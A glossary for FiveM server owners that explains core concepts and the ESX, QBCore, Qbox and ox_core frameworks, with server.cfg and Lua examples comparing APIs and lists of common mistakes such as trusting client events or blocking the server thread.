The multiframework FiveM glossary
Every term that comes up running a FiveM server, across ESX, QBCore, Qbox and ox, explained with examples and the mistakes everyone makes. When a term works differently in each framework, you get all of them side by side.
Fundamentos
Qué es cada pieza y cómo encaja.
- FiveM
A multiplayer modification platform for GTA V that lets you run your own servers (roleplay, racing, jobs). It is developed by Cfx.re and is not owned by Rockstar.
FiveM has two halves. On one side, the client, the program the player installs, which launches their legal copy of GTA V in a separate mode without touching the official online. On the other side, FXServer, the program you run that hosts your city. When a player joins, your server sends them the resource list and the assets they need, and from then on both sides run your code.
The key thing for a server owner is that FiveM is not a mod that changes the base game, it is a scripting platform. You do not edit GTA V, you write resources in Lua or JavaScript that call the game's internal functions (natives) and sync state over the network. Everything you see on a roleplay server (money, jobs, inventory, houses) was written by someone on top of that base. None of it ships out of the box.
The player needs a legal copy of GTA V on Steam, Epic or Rockstar. You need a free Cfx.re license key and a machine to run FXServer. That is it. The rest is time and judgement.
Ejemplo · A FiveM server is, in essence, FXServer reading a server.cfg. # The bare minimum that makes a server exist and accept players endpoint_add_tcp "0.0.0.0:30120" endpoint_add_udp "0.0.0.0:30120" sv_hostname "My City | Roleplay EN" sv_maxclients 48 set onesync on sv_licenseKey "cfxk_YOUR_KEY" # from keymaster.fivem.net ensure oxmysql ensure es_extendedEn qué se equivoca todo el mundo
- Thinking FiveM is a separate game you buy. It is free, but it requires a legal copy of GTA V on the player's PC.
- Assuming scripts run on the server and that is all. Half of your city's code runs on each player's PC, and that PC lies when it suits it.
- Hosting the server on your home PC and opening it to the internet. Fine for testing, never for production, because you expose your IP and your home network.
Ver la guía relacionadaRelacionado Cfx.re, FXServer, client and server- Cfx.re
The organisation that develops and maintains FiveM and RedM. It manages server license keys, artifacts and the server list. Crxative-M is not affiliated with Cfx.re.
Cfx.re publishes the runtime you run (the FXServer artifacts), issues the license keys from keymaster and maintains the natives and platform documentation. If your server shows up on the public list, it is because Cfx.re indexes it from the key it started with.
It also sets the rules. The Cfx.re Terms of Service forbid selling gameplay advantage (pay to win), and breaking them can cost you your license key and your spot on the server list. Selling cosmetics or queue priority is allowed. Selling money, weapons or vehicles with an edge is not.
In 2023 Cfx.re was acquired by Rockstar Games, so the platform is no longer a project unrelated to the publisher, although it still runs independently of the official GTA Online.
En qué se equivoca todo el mundo
- Confusing Cfx.re with FiveM. Cfx.re is the organisation, FiveM is one of its products (RedM, for Red Dead Redemption 2, is the other).
- Ignoring the ToS and running a shop that sells in-game money. That is the fast lane to losing the key and the server.
- Expecting official Cfx.re support for third-party resources. They maintain the platform, not the leaked script you downloaded.
Relacionado FiveM, keymaster, license key (sv_licenseKey)- FXServer
The program that runs your FiveM server. It reads the server.cfg, starts the resources, syncs players and listens on port 30120.
FXServer is what you download from Cfx.re as an artifact. On Windows it is FXServer.exe, on Linux you launch it with run.sh. Inside it ships the Lua and JavaScript runtime, the network layer, the resource system and txAdmin (bundled as the monitor resource). You never edit it. To update, you replace the whole folder with a newer version.
Your data lives elsewhere, in txData, with your server.cfg and your resources folder inside. That separation is what lets you update the binary without losing your city. If you mix the two and drop your resources inside the artifact folder, the next update will wipe them.
FXServer runs the game logic on a single thread. If you block that thread (a database query without await, a heavy loop in server.lua), you block it for every player at once. That is why, when picking hosting, per-core power matters more than core count.
Ejemplo · Start FXServer and reach txAdmin for the first time. # Windows, from the artifact folder FXServer.exe +exec server.cfg # Linux ./run.sh +exec server.cfg # The first time, the console prints the txAdmin URL and a one-time PIN # http://localhost:40120En qué se equivoca todo el mundo
- Dropping your resources inside the artifact folder. They belong in txData/your_profile/resources, never next to the binaries.
- Renting an 8-core VPS of weak cores expecting it to run better. FiveM is almost single-threaded, so the CPU with the higher per-core clock wins.
- Updating the artifact by copying loose files on top. Unzip the new version into a clean folder and point txData at it.
Relacionado artifacts, txAdmin, server.cfg- client and server
The two sides FiveM code runs on. The client runs on each player's PC (draws, reads keys, controls their ped). The server runs on your machine and is the only side that decides.
In the fxmanifest you declare which scripts go on each side with client_scripts, server_scripts and shared_scripts. The client can draw markers, open NUI menus, read the keyboard and query the world it has loaded. The server sees no graphics and no keys, but it holds the database, the player list and the final say over money, items and permissions.
The two sides talk through events. The client calls TriggerServerEvent and the server answers a specific player with TriggerClientEvent. That bridge is the most delicate part of any server, because anyone with an executor can fire your server events with whatever arguments they like. A client event is a request, never a truth.
The practical rule: put everything visual and immediate on the client, and put everything with consequences on the server. If a client event can give you money, you have a design problem, not a script.
Ejemplo · The client asks to get paid. The server checks the job before paying. -- client.lua: the client ASKS, it does not decide RegisterCommand('getpaid', function() TriggerServerEvent('my_job:collectWage') end) -- server.lua: the server CHECKS and decides RegisterNetEvent('my_job:collectWage', function() local src = source local xPlayer = ESX.GetPlayerFromId(src) if not xPlayer then return end if xPlayer.getJob().name ~= 'mechanic' then return end -- real validation xPlayer.addMoney(250) end)En qué se equivoca todo el mundo
- Computing money or price on the client and sending the result to the server. The player changes that number in a second.
- Registering a server event with AddEventHandler instead of RegisterNetEvent, or the other way around, and not seeing why it never fires.
- Calling client natives (PlayerPedId, DrawMarker) from a server_script. They do not exist on that side and the resource crashes.
Relacionado server-authoritative, native, source- native
An internal GTA V or FiveM function you can call from your script. GetEntityCoords, SetEntityHealth and TriggerClientEvent are natives.
Natives are the real API of the game. Everything your resource actually does (move a ped, spawn a vehicle, know where a player is) ends in a native call. The reference is the official Cfx.re natives documentation, and there you will see each one tagged as client, server or both. A client native does not exist on the server, and calling it there is a startup error, not a warning.
There are two families. GTA V's own natives, inherited from the game, with long hashed names under the hood. And FiveM natives, which add what the base game lacks (events, resources, identifiers, state bags). In practice you call both the same way from Lua.
They are not free. Each call crosses the boundary between Lua and the engine. A single call goes unnoticed, but PlayerPedId inside a Wait(0) loop, called five times per iteration, shows up in resmon. Cache the result outside the repeated work.
Ejemplo · Cache an expensive native outside the repeated work. -- Bad: asks for the ped three times every frame CreateThread(function() while true do Wait(0) if GetEntityHealth(PlayerPedId()) < 50 then warn() end if IsPedSwimming(PlayerPedId()) then swim() end local c = GetEntityCoords(PlayerPedId()) end end) -- Good: one call per iteration, and the loop sleeps CreateThread(function() while true do Wait(500) local ped = PlayerPedId() if GetEntityHealth(ped) < 50 then warn() end if IsPedSwimming(ped) then swim() end end end)En qué se equivoca todo el mundo
- Copying a forum snippet without checking whether the native is client or server side. It is the number one cause of resources that will not start.
- Calling expensive natives inside a while true with Wait(0). That is where red resmon resources are born.
- Assuming a native returns what you think. Many return several values or a handle, not a tidy value. Check the docs before chaining.
Relacionado client and server, tick / thread, coordinates and vectors- gamebuild
The GTA V content version your server forces players to load. Set with sv_enforceGameBuild, it decides which DLC (cars, clothing, interiors) you can use.
Each GTA V DLC adds new models, props and maps. By default FiveM starts on an old build, so if you try to use a vehicle or a garment from a recent DLC, the player sees an invalid model or nothing at all. Setting the gamebuild tells the client to load content up to that version.
The cost is that bumping the gamebuild can break things. MLOs that replace base-map interiors, clothing packs and some vehicle scripts are built against a specific build. When you change build, join the server and check the custom interiors and clothing before you announce it, because the classic failure shows up days later as an invisible shop or a deformed character.
The healthy rule is to always set the gamebuild explicitly in the server.cfg, even if it is the one you already used. That way you do not depend on the artifact's default, which can shift when you update.
Ejemplo · Setting the gamebuild in the server.cfg. # Fixes the game content version for every player. Each number is a # GTA V update. If your assets come from a recent DLC, you need a build # equal to or higher than the one that introduced them. set sv_enforceGameBuild 2802 # Without this line the server uses the artifact's default build, # and assets from newer DLC will not load.En qué se equivoca todo el mundo
- Installing a car or clothing from a new DLC without bumping the gamebuild, then blaming the resource when the model does not appear.
- Bumping the gamebuild without testing MLOs. A custom interior built for an old build can go dark or get overridden by the original one.
- Not declaring sv_enforceGameBuild and finding out an artifact change moved the build out from under you.
Relacionado artifacts, server.cfg, MLO- artifacts
The FXServer builds Cfx.re publishes. Each one carries a build number and contains the server binaries and txAdmin. Updating the server means switching artifact.
An artifact is a folder with the server executable, the Citizen runtime and the monitor resource (txAdmin). You download it from the Cfx.re artifacts page, there are Windows and Linux versions, and each build carries a number. That number is what people ask for when you report a bug, because a bug can belong to the artifact and not to your code.
Updating means unzipping the new version into a clean folder and pointing back at your usual txData. Never copy on top of the old folder, because orphan files remain and cause errors that are impossible to diagnose. And never put your resources inside the artifact, for the same reason.
Before updating in production, test on a test server. New artifacts sometimes break old resources (native changes, event policy changes, escrow changes), and finding out with 60 players inside is the worst way to learn.
En qué se equivoca todo el mundo
- Updating the artifact on a Friday night and straight into production. If something breaks, it breaks with a full city.
- Unzipping the new artifact on top of the old one. It leaves residue and triggers failures that show up in no clear log.
- Staying on a three-year-old build. In the end no modern resource runs and the migration is one huge jump instead of several small steps.
Relacionado FXServer, canary vs recommended, gamebuild- canary vs recommended
The update channels. Recommended is the server build Cfx.re marks as stable. Newer builds (latest) bring features sooner and bugs too. Canary is the FiveM client's early channel.
On the artifacts page you will see builds marked recommended and newer ones. Recommended is the one Cfx.re considers tested. The latest builds carry fixes and new features, but also regressions. If your server is open to the public, stay on recommended unless you need something specific that only exists in a newer build.
Canary is a different thing and best not mixed in. It is the FiveM client's early channel, the one a player enables in their launcher to get updates before everyone else. You do not enable it from the server. If a player reports a strange bug nobody else sees, ask whether they have canary on, because sometimes that is the answer.
The production criterion is boring and it works. A stable build, changed on purpose and tested first on a test server. Never out of curiosity and never live.
En qué se equivoca todo el mundo
- Always jumping to the latest build out of habit. You are betatesting with your players inside.
- Confusing the client channel (canary) with the server build. They are different settings on different machines.
- Switching build to fix a bug without first confirming the bug belongs to the artifact. It is almost always your resource.
- OneSync
FiveM's modern sync system. It gives world authority to the server, lets you go past 32 players and enables entities created from the server side.
Without OneSync, GTA V syncs the classic way, with the client owning the entities and a 32-player cap. With OneSync on, the server knows which entities exist, where they are and who controls them. That is what makes it possible for a roleplay server to hold 64 or 128 people and for things to happen consistently for everyone.
The most valuable side effect is security. When state is validated on the server, many cheats stop working on their own, because the client is no longer the source of truth. It also lets you create vehicles and objects from server.lua with CreateVehicle so everyone sees them the same, instead of asking the client to create them and praying.
You turn it on with one line in the server.cfg. And watch the detail that catches everyone: if you set sv_maxclients above 32 without OneSync, the server will not give you those slots.
Ejemplo · OneSync is what really unlocks slots above 32. set onesync on # server-authoritative sync sv_maxclients 64 # above 32 only works with onesync on sv_endpointprivacy true # does not expose players' IPsEn qué se equivoca todo el mundo
- Raising sv_maxclients to 64 and leaving onesync off. The server stays capped at 32 and nobody understands why.
- Thinking OneSync fixes performance. It syncs better, but a resource burning 5 ms per frame still burns it.
- Creating entities from the client on a OneSync server when you could create them on the server. You lose consistency and open the door to fake spawns.
- tick / thread
An execution loop inside a resource, created with CreateThread. It yields with Wait, and the number you pass decides how many times per second your code runs.
FiveM runs resources cooperatively. Your thread runs until it calls Wait, and there it hands control back to the engine. Wait(0) means call me again next frame, that is, dozens of times per second. Wait(1000) means come back in a second. There are no real parallel threads, so if your code never yields, you freeze the resource.
The classic sin is a while true do with Wait(0) that does heavy work all the time, wherever the player is. Drawing a marker for a shop two kilometres away costs the same as drawing it right in front of you. The technique that separates an amateur script from a professional one is the dynamic Wait, which raises the wait time when there is nothing to refresh and drops it to 0 only when the player is close.
On the server the story is similar but worse, because the game logic runs on a single thread. If you block that thread, you block it for every player. That is where the script took too long warning and the whole-city stutter come from.
Ejemplo · Dynamic Wait. At rest the resource burns almost 0 ms. local shop = vector3(25.7, -1345.0, 29.5) CreateThread(function() while true do local sleep = 1000 -- default: sleep 1 s local pos = GetEntityCoords(PlayerPedId()) local dist = #(pos - shop) if dist < 20.0 then sleep = 0 -- close: every frame DrawMarker(1, shop.x, shop.y, shop.z - 1.0, 0,0,0, 0,0,0, 1.0,1.0,1.0, 0,150,255,100, false,false,2,nil,nil,false) if dist < 1.5 and IsControlJustPressed(0, 38) then openShop() end end Wait(sleep) end end)En qué se equivoca todo el mundo
- Forgetting the Wait inside a while true. The resource hangs, and with it the server or the client.
- Leaving Wait(0) permanent because it runs smooth on your PC. With twenty resources like that, your players get 30 FPS.
- Putting a database query inside a tight server loop. You multiply trips to the DB and block everyone else.
Ver la guía relacionadaRelacionado native, client and server, resmon- identifiers (license, steam, discord)
The strings that persistently identify a player (license, steam, discord, fivem, ip). They are what you use to store data, grant admin and ban.
When someone connects, FiveM attaches a list of identifiers to them. The most used is license, because it comes from their Rockstar copy and everyone has it, whether or not they are on Steam. steam only appears if they joined through Steam, and discord only if they have Discord open and linked, so leaning your whole economy on steam is an elegant way to lose half the city's data.
On the server you get them with GetPlayerIdentifiers(src), which returns a table with all of them, or with GetPlayerIdentifierByType(src, 'license'), which hands you the one you want directly. That value is the key you use to store the player in the database and the one ESX and QBCore use to find their record.
It is also what you use for ACE permissions. add_principal identifier.fivem:123456 group.admin ties a specific person to a group. And it is what you use to ban properly, because banning by name does nothing.
Ejemplo · license is the identifier to build the database on. RegisterCommand('whoami', function(source) local src = source -- Every identifier the player has for _, id in ipairs(GetPlayerIdentifiers(src)) do print(id) -- license:xxxx, steam:110000..., discord:123..., ip:... end -- Or the one you care about, directly local license = GetPlayerIdentifierByType(src, 'license') print('license =', license) end, true)En qué se equivoca todo el mundo
- Using steam as the primary key. Anyone joining from Epic or Rockstar has no steam and their record will not be created.
- Storing the identifier without its prefix (license:), or half with it, then failing to find the player because the strings do not match.
- Banning by name or session ID. They rejoin in thirty seconds under another name.
Ver la guía relacionadaRelacionado source, txAdmin, convar- entity and netId
An entity is anything in the world (ped, vehicle, object). The entity handle is local to each machine. The netId is the shared network identifier, and the only one you can send between client and server.
The number CreateVehicle or PlayerPedId returns on the client is a local handle. It means nothing on another player's PC or on the server. If you send it through an event, on the other side it points to something else or to nothing, and that is the source of half the weird vehicle bugs.
The netId is common. You get it with NetworkGetNetworkIdFromEntity(entity) and convert it back with NetworkGetEntityFromNetworkId(netId). The correct pattern is that the client sends the netId, the server resolves it to its own entity and operates on that. With OneSync, the server can also create the entity directly and hand the netId to whoever needs it.
Mind the timing. A freshly created entity may not exist yet on the other side for a few milliseconds, so always check with DoesEntityExist before touching it, and do not assume the netId resolves on the first try.
Ejemplo · The handle is local. The netId is the only thing that travels. -- client.lua: never send the local handle local veh = GetVehiclePedIsIn(PlayerPedId(), false) TriggerServerEvent('garage:repair', NetworkGetNetworkIdFromEntity(veh)) -- server.lua: resolve the netId to an entity on this side RegisterNetEvent('garage:repair', function(netId) local src = source local veh = NetworkGetEntityFromNetworkId(netId) if not veh or veh == 0 or not DoesEntityExist(veh) then return end -- ...checks for job, distance and money before repairing end)En qué se equivoca todo el mundo
- Sending the entity handle to the server and wondering why the vehicle being repaired is a different one.
- Using the netId without checking DoesEntityExist. If the player left or the car was deleted, your script blows up.
- Thinking a player ped's netId works as player identification. That is what source and the identifiers are for.
Relacionado OneSync, source, state bags- coordinates and vectors
World positions are expressed with vector3 (x, y, z) and sometimes vector4 (with heading). The #(a - b) operator gives you the distance between two points.
Lua in FiveM ships native vector types. GetEntityCoords returns a vector3 and you can subtract them directly. The idiomatic way to measure distance is #(pos - point), which gives you metres without writing the square-root formula by hand. It is fast and it is what you will see in all modern code.
The heading (the orientation) is separate, from GetEntityHeading, which is why many people use vector4 to store a full spawn point. When you copy coordinates from a website, check whether the Z you are given is the ground or the ped's centre, because that is where spawns under the asphalt and floating markers come from.
Distance is the best gatekeeper for your loops. Before drawing, before reading the keyboard, before computing anything, ask whether the player is close. If they are not, sleep the thread. That single filter turns red resources into green ones.
Ejemplo · #(a - b) is the distance. Use it as a filter before working. local point = vector3(-1037.0, -2738.0, 20.0) local pos = GetEntityCoords(PlayerPedId()) local distance = #(pos - point) -- metres, directly if distance < 50.0 then -- only here do we draw, check keys, etc. end -- vector4 also stores the orientation (heading) local spawn = vector4(-1037.0, -2738.0, 20.0, 328.5)En qué se equivoca todo el mundo
- Computing distance with Vdist or the manual formula inside a tight loop when #(a - b) is faster and clearer.
- Copying a Z from a map editor and spawning the player inside the ground. Add or subtract depending on where the value came from.
- Comparing positions with == between floats. They never match exactly, compare distances with a margin.
Relacionado native, tick / thread, MLO- state bags
A FiveM system for storing data on an entity, a player or the world, and replicating it automatically. It replaces half a dozen manual sync events.
Every entity and every player has a state bag, a bag of keys and values. You write with Entity(veh).state:set('locked', true, true) and read with Entity(veh).state.locked. The third argument (replicated) decides whether the value travels to other machines. When you set it to true, FiveM keeps it in sync without you writing a single event.
The real gain is that you can react to changes instead of polling for them. With AddStateBagChangeHandler the game tells you when that key changes, so you save yourself a while true asking every frame whether the player is still cuffed or the car is still locked. Less polling, fewer milliseconds, fewer bugs.
It is not a database. If the player leaves or the vehicle is deleted, that state is gone. State bags are for the live state of the session. Anything you cannot afford to lose still goes to MySQL.
Ejemplo · A state change notifies you. No need to ask every frame. -- server.lua: mark a vehicle as locked and replicate it local veh = NetworkGetEntityFromNetworkId(netId) Entity(veh).state:set('locked', true, true) -- the third arg replicates -- client.lua: react ONLY when it changes, no loops AddStateBagChangeHandler('locked', nil, function(bagName, key, value) local netId = tonumber(bagName:gsub('entity:', ''), 10) if not netId then return end local ent = NetworkGetEntityFromNetworkId(netId) if not DoesEntityExist(ent) then return end SetVehicleDoorsLocked(ent, value and 2 or 1) end)En qué se equivoca todo el mundo
- Forgetting the third argument of :set and wondering why other players do not see the change.
- Using state bags as permanent storage. They vanish on disconnect, they do not replace the database.
- Putting huge tables in a replicated state bag. Every change travels over the network to interested clients, so keep the data small.
Relacionado entity and netId, OneSync, oxmysql
Frameworks
ESX, QBCore, Qbox y ox: la base de tu servidor.
- framework
A layer of resources installed on top of FiveM that adds what the base game lacks (persistent characters, money, jobs and inventory). The most used are ESX, QBCore, Qbox and ox_core.
FiveM gives you the engine, the networking and the ability to load resources. It has no idea what «money» is, or a «job», or an «inventory», or who you are between one session and the next. The framework provides all of that, saves the character to the database and exposes shared functions so each script does not reinvent the same thing.
That is why the framework is not a cosmetic choice. Almost every third-party resource is written against a specific one, so picking a framework decides which scripts you can install without porting them and which community will be able to help you when you get stuck.
The good news is that the logic is the same across all four and only the vocabulary changes. Get the core, pull the player object from their source, move their money, read their job and ask the server for data with a callback. Master those five gestures and you can translate any resource from one framework to another by reading an equivalence table.
A server runs ONE core, not two. What you do mix (and it is the norm today) is the core with the Overextended stack, meaning ESX or QBCore with oxmysql, ox_lib, ox_inventory and ox_target on top.
Ejemplo · The same gesture (getting the core) in all four frameworks -- ESX Legacy ESX = exports['es_extended']:getSharedObject() -- QBCore local QBCore = exports['qb-core']:GetCoreObject() -- Qbox: there is NO core object. You call qbx_core and ox_lib exports directly. local player = exports.qbx_core:GetPlayer(source) -- ox_core: global Ox local player = Ox.GetPlayer(source)En qué se equivoca todo el mundo
- Installing two cores at once (es_extended and qb-core) expecting compatibility. Only one should start.
- Copying a tutorial snippet without checking which framework it is for. Half of the «attempt to index a nil value» errors are exactly that.
- Believing a resource «for ESX» starts on QBCore because both are «FiveM». It does not, you have to port it or use a bridge.
Relacionado ESX, QBCore, Qbox (qbx_core)- ESXESX
A roleplay framework for FiveM that provides a server's foundation (players, money, jobs, inventory and items). It is one of the two most used frameworks alongside QBCore, and its main resource is called es_extended.
ESX is the oldest framework in the ecosystem and that is why it has the largest third-party resource catalogue in existence. Almost any system you can think of (dealership, house, gang, minigame) already exists for ESX, free or paid.
Its mental model is short. You get the ESX shared object, use it to pull an xPlayer from the player's source, and on that xPlayer you call methods like addMoney, setJob or addInventoryItem. Money is handled through accounts, not a single balance.
The price of being the veteran is fragmentation. There are servers on ESX 1.1, on ESX 1.2 and on ESX Legacy, and the three versions are not interchangeable. Before you copy code from a forum, check which version you are actually running.
Ejemplo · The essentials of ESX on the server ESX = exports['es_extended']:getSharedObject() RegisterCommand('pay', function(source) local xPlayer = ESX.GetPlayerFromId(source) if not xPlayer then return end -- the player may not be loaded xPlayer.addMoney(500) -- cash (the 'money' account) xPlayer.addAccountMoney('bank', 500) -- bank print(xPlayer.identifier) -- their unique identifier print(xPlayer.getJob().name) -- their job, e.g. 'police' end)En qué se equivoca todo el mundo
- Confusing addMoney with addAccountMoney('bank', n). The first touches cash, the second the bank, and mixing them wrecks the economy.
- Not checking if not xPlayer then return end. GetPlayerFromId returns nil if the player has not loaded yet.
- Using the core's AddItem when the server has ox_inventory installed. With ox_inventory, items go through its exports even if the core is ESX.
- ESX LegacyESX
The modern, maintained version of ESX. It changes some ways of doing things compared to older versions, such as getting the shared object with exports['es_extended']:getSharedObject().
Legacy is the ESX that is maintained today. If you set up a new server with ESX, you set up Legacy. The rest (1.1, 1.2) is abandoned and drags along vulnerabilities and APIs that no longer exist.
The difference that breaks the most scripts is how you get the core. Old ESX asked for it via an event with TriggerEvent('esx:getSharedObject', ...). In Legacy that event no longer fires, so that code leaves ESX as nil and the resource blows up on the first line that touches it. The correct way is the export, or importing '@es_extended/imports.lua' as a shared_script.
Legacy also moved data access towards getters (getJob, getMoney, getAccount, getInventoryItem) instead of reading raw fields. Direct fields like xPlayer.job still exist in many versions, but the getters are what current documentation uses and what will not break on the next update.
Ejemplo · What no longer works and what does -- OLD ESX (1.1 / 1.2). In Legacy this event does not fire: ESX stays nil. ESX = nil TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) -- ESX LEGACY, correct way (export) ESX = exports['es_extended']:getSharedObject() -- ESX LEGACY, manifest alternative: -- fxmanifest.lua -> shared_script '@es_extended/imports.lua' -- (with that, ESX already exists as a global, no call needed)En qué se equivoca todo el mundo
- Copying the TriggerEvent('esx:getSharedObject') from an old tutorial and getting an «attempt to index a nil value (global 'ESX')».
- Adding getSharedObject without declaring es_extended in the fxmanifest dependencies, and calling it before the core has started.
- Mixing resources written for ESX 1.1 with a Legacy core and blaming the core when the fault is the resource's version.
- QBCoreQBCore
The other big roleplay framework for FiveM, an alternative to ESX, with its own player, job and item system. Its main resource is qb-core, and many resources exist in both an ESX and a QBCore version.
QBCore was born later than ESX and it shows in how it structures data. Everything it knows about the character lives inside Player.PlayerData (job, gang, money, charinfo, metadata), and everything you can do to them lives inside Player.Functions (AddMoney, SetJob, AddItem, SetMetaData).
It ships with things you have to add to ESX with extra resources, such as gangs, on-duty state (onduty) and character metadata (hunger, thirst, stress). In exchange, its third-party catalogue is smaller than ESX's, though it grows fast.
Its money and item functions always ask for a reason as the last argument. It is not decoration, it is what later shows up in the logs when you investigate where a million appeared from.
Ejemplo · QBCore and its exact ESX equivalent -- QBCore local QBCore = exports['qb-core']:GetCoreObject() RegisterCommand('pay', function(source) local Player = QBCore.Functions.GetPlayer(source) if not Player then return end Player.Functions.AddMoney('cash', 500, 'pay-command') -- cash Player.Functions.AddMoney('bank', 500, 'pay-command') -- bank print(Player.PlayerData.citizenid) -- identifier print(Player.PlayerData.job.name) -- job end) -- ESX, the same thing -- local xPlayer = ESX.GetPlayerFromId(source) -- xPlayer.addMoney(500) -- xPlayer.addAccountMoney('bank', 500) -- print(xPlayer.identifier) -- print(xPlayer.getJob().name)En qué se equivoca todo el mundo
- Calling Player.Functions.AddMoney without the account type. The signature is AddMoney('cash'|'bank'|'crypto', amount, reason).
- Reading the rank with Player.PlayerData.job.grade expecting a number. The number is in Player.PlayerData.job.grade.level.
- Using the ESX API (xPlayer.addMoney) inside a QBCore server because the script came from an ESX tutorial.
- Qbox (qbx_core)Qbox
A modern fork of QBCore rebuilt on the Overextended stack (ox_lib, ox_inventory, ox_target, oxmysql). It has no core object, everything goes through the qbx_core exports.
Qbox is what people pick today when they want a modern, maintained NoPixel-style base. It keeps QBCore's data shape (PlayerData with job, gang, metadata) but swaps the internals for ox, so items are ox_inventory, callbacks are ox_lib and interaction is ox_target.
The biggest mindset shift is that there is no GetCoreObject. There is no global object you store in a variable, but loose exports you call when you need them, taking the source as the first argument. That makes the code more explicit and avoids the classic nil core at startup.
Qbox ships a compatibility bridge with qb-core so many old QBCore resources keep working. Use it so you do not have to rewrite your whole server, but write anything new against qbx_core and ox directly.
Startup order in server.cfg matters a lot here. First oxmysql, then ox_lib, ox_inventory, ox_target and finally qbx_core.
Ejemplo · QBCore versus Qbox, the same payment -- QBCore: core object + methods on the Player local QBCore = exports['qb-core']:GetCoreObject() local Player = QBCore.Functions.GetPlayer(src) Player.Functions.AddMoney('bank', 500, 'payroll') Player.Functions.SetJob('police', 2) -- Qbox: direct exports, the source goes as the first argument exports.qbx_core:AddMoney(src, 'bank', 500, 'payroll') exports.qbx_core:SetJob(src, 'police', 2) -- the grade is a NUMBER, never '2' -- And to read data there is a player object local player = exports.qbx_core:GetPlayer(src) print(player.PlayerData.citizenid, player.PlayerData.job.grade.level)En qué se equivoca todo el mundo
- Looking for exports.qbx_core:GetCoreObject(). It does not exist. In Qbox you call the exports one by one.
- Using qb-target or qb-menu on a Qbox server. The stack is ox, so it is ox_target and ox_lib.
- Giving items with Player.Functions.AddItem. In Qbox the inventory is ox_inventory, so it is exports.ox_inventory:AddItem(src, item, count).
- ox_coreox
The Overextended team's framework, the most «ox-first» of them all. It uses the global Ox, works with groups instead of jobs, and leans entirely on ox_lib, ox_inventory, ox_target and oxmysql.
ox_core does not try to look like ESX or QBCore. It breaks with both on purpose to shed their technical debt, which is why it is chosen by new servers that are going to write their own code rather than install a hundred third-party resources.
Its strongest conceptual difference is that it replaces the job with the concept of a group. A character can belong to several groups at different grades, so you do not have to choose between being police or being in a gang. The character is identified by charId, not by identifier or citizenid.
The cost is the catalogue. There are far fewer third-party resources made for ox_core than for ESX or QBCore, so you assume you will be doing more programming. If you do not want that but you do want the ox stack, Qbox is the middle ground.
Ejemplo · ox_core next to ESX and QBCore -- ox_core (server) local player = Ox.GetPlayer(source) if not player then return end print(player.charId) -- the character's identifier in ox_core -- Groups instead of jobs player.setGroup('police', 2) -- ESX: xPlayer.setJob('police', 2) -- QBCore: Player.Functions.SetJob('police', 2) -- Qbox: exports.qbx_core:SetJob(src, 'police', 2)En qué se equivoca todo el mundo
- Expecting an ESX or QBCore resource to work as-is on ox_core. The APIs are nothing alike, you have to port it.
- Looking for identifier or citizenid in ox_core. There the character is charId.
- Confusing ox_core (the framework) with ox_lib (the library). ox_lib is used with any core, ox_core replaces the core.
Relacionado ox_lib, Qbox (qbx_core), framework- ox_libESXQBCoreQboxoxStandalone
A utility library that is very common in modern servers (menus, notifications, callbacks, zones, cache and inputs). It works with any framework and many resources require it as a dependency.
ox_lib is the ecosystem's Swiss army knife. It is not a framework and it replaces none of them, it sits on top of whichever one you have. That is why its code works the same on ESX, on QBCore, on Qbox and on a server with no core.
What it provides you would have to write by hand otherwise. Notifications with lib.notify, context menus with lib.registerContext and lib.showContext, forms with lib.inputDialog, progress bars with lib.progressBar, skill minigames with lib.skillCheck, zones with lib.zones, callbacks with lib.callback, and cache with cache.ped or cache.coords so you do not call PlayerPedId() every frame.
For the lib variable to exist you have to import it in the manifest with shared_script '@ox_lib/init.lua'. If you forget, lib is nil and the resource dies with «attempt to index a nil value (global 'lib')». It is the number one mistake of anyone installing it for the first time.
Ejemplo · Importing it right and using it in any framework -- fxmanifest.lua shared_script '@ox_lib/init.lua' -- WITHOUT this, lib is nil -- client.lua (works the same in ESX, QBCore, Qbox or ox) lib.notify({ description = 'You got paid', type = 'success' }) if lib.progressBar({ duration = 3000, label = 'Registering the vehicle...', canCancel = true, disable = { move = true, combat = true }, }) then -- completed else -- cancelled end -- Cache instead of calling natives every frame local ped = cache.pedEn qué se equivoca todo el mundo
- Forgetting shared_script '@ox_lib/init.lua' in the fxmanifest and getting the lib nil error.
- Calling lib.callback.await during resource load. It only works inside a thread or an event, otherwise it hangs.
- Thinking installing ox_lib gives you inventory or jobs. It is a utility library, not a core.
Ver la guía relacionadaRelacionado notifications, framework callback, ox_core- GetCoreObject (QBCore)QBCore
The export QBCore hands you its core with, exports['qb-core']:GetCoreObject(). It is the equivalent of ESX's getSharedObject, and QBCore.Functions and QBCore.Shared hang off it.
The object it returns has the two branches you will use all the time. QBCore.Functions holds what does things (GetPlayer, CreateCallback, Notify, CreateUseableItem) and QBCore.Shared holds the shared data (declared items, jobs, weapons).
Watch the naming, because it confuses everyone. GetCoreObject gives you the core, not the player. For the player you need a second step, QBCore.Functions.GetPlayer(source) on the server, or QBCore.Functions.GetPlayerData() on the client, which is what people are after when they type «GetPlayerData».
In Qbox this export does not exist. If you come from QBCore and migrate to Qbox, this is the first line you have to change in every script.
Ejemplo · Core and player are two separate steps -- SERVER local QBCore = exports['qb-core']:GetCoreObject() -- the core local Player = QBCore.Functions.GetPlayer(source) -- the player if not Player then return end print(Player.PlayerData.job.name) -- CLIENT: no source here, you ask for the local player's data local QBCore = exports['qb-core']:GetCoreObject() local PlayerData = QBCore.Functions.GetPlayerData() print(PlayerData.job.name) -- ESX equivalent on the client -- local data = ESX.GetPlayerData()En qué se equivoca todo el mundo
- Believing GetCoreObject returns the player and doing QBCore.PlayerData.job. The player comes from GetPlayer or GetPlayerData.
- Calling GetPlayerData on the client right after the resource starts, before the QBCore:Client:OnPlayerLoaded event, and getting an empty table.
- Porting a QBCore script to Qbox leaving GetCoreObject in. It does not exist in Qbox.
- xPlayerESX
ESX's player object on the server, obtained with ESX.GetPlayerFromId(source). Its methods hang off it (addMoney, setJob, addInventoryItem, getIdentifier).
xPlayer is not the ped nor FiveM's player, it is the character record ESX keeps in memory. You always request it with the event's source, which is the only trustworthy piece of who-is-acting data on the server.
It returns nil if that source does not match a loaded character, and that happens more than you think (a player who just connected, one who just left, an event fired by a cheater with a made-up id). That is why if not xPlayer then return end is not optional.
In ESX Legacy the recommended way to read its data is the getters (getJob, getMoney, getAccount, getInventoryItem) rather than raw fields. The xPlayer.identifier field is read directly, and it is the player's license.
Its equivalent is Player in QBCore and Qbox, and player in ox_core. The name changes and where the data lives changes, but the idea is identical.
